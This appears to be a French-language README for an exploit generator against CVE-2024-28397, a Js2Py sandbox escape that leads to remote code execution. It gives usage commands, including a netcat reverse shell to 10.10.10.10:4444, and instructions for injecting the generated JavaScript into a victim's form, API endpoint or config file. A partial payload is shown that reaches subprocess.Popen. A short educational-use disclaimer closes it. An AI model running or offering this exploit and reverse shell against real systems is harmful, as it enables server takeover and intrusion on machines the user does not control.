
Exploit professionnel pour CVE-2024-28397 : évasion du sandbox Js2Py menant à une exécution de code à distance (RCE). Inclut la génération modulaire de payloads.
💡 Analyse approfondie : Cliquez ici pour lire le briefing technique complet (PDF).
Un générateur de payload professionnel pour CVE-2024-28397. Cet outil génère du code JavaScript malveillant conçu pour s'échapper du sandbox js2py (versions <= 0.74) et exécuter des commandes arbitraires sur le système cible.
Js2Py <= 0.74Object.getOwnPropertyNames pour accéder à la classe subprocess.Popen de Python depuis l'environnement JavaScript.Ce script génère le payload JavaScript exact nécessaire pour exploiter la vulnérabilité. Vous n'avez pas besoin d'installer js2py pour utiliser cet outil.
Exécutez le script avec la commande que vous souhaitez exécuter sur la machine de la victime.
# Générer un payload pour exécuter 'id'
python3 exploit.py -c "id"
# Générer un payload pour un shell inversé
python3 exploit.py -c "nc -e /bin/bash 10.10.10.10 4444"
Copiez la sortie générée par l'outil et injectez-la dans l'application vulnérable (par exemple, un formulaire web, un point de terminaison API ou un fichier de configuration analysé par js2py).
Exemple d'injection :
Si un site web prend une entrée utilisateur et l'exécute avec js2py.eval_js(user_input), coller le code généré exécutera votre commande sur leur serveur.
$ python3 exploit.py -c "whoami"
var output = "Initial";
try {
var leaked_wrapper = Object.getOwnPropertyNames({});
// ... (code malveillant complet) ...
var res = Popen("whoami", ...).communicate();
output = res;
} ...
output
Ali Sünbül (xeloxa)
Ce logiciel est fourni uniquement à des fins éducatives et de recherche en sécurité. L'auteur décline toute responsabilité en cas de mauvaise utilisation de ce code. Assurez-vous d'avoir l'autorisation explicite avant de tester ceci sur un système qui ne vous appartient pas.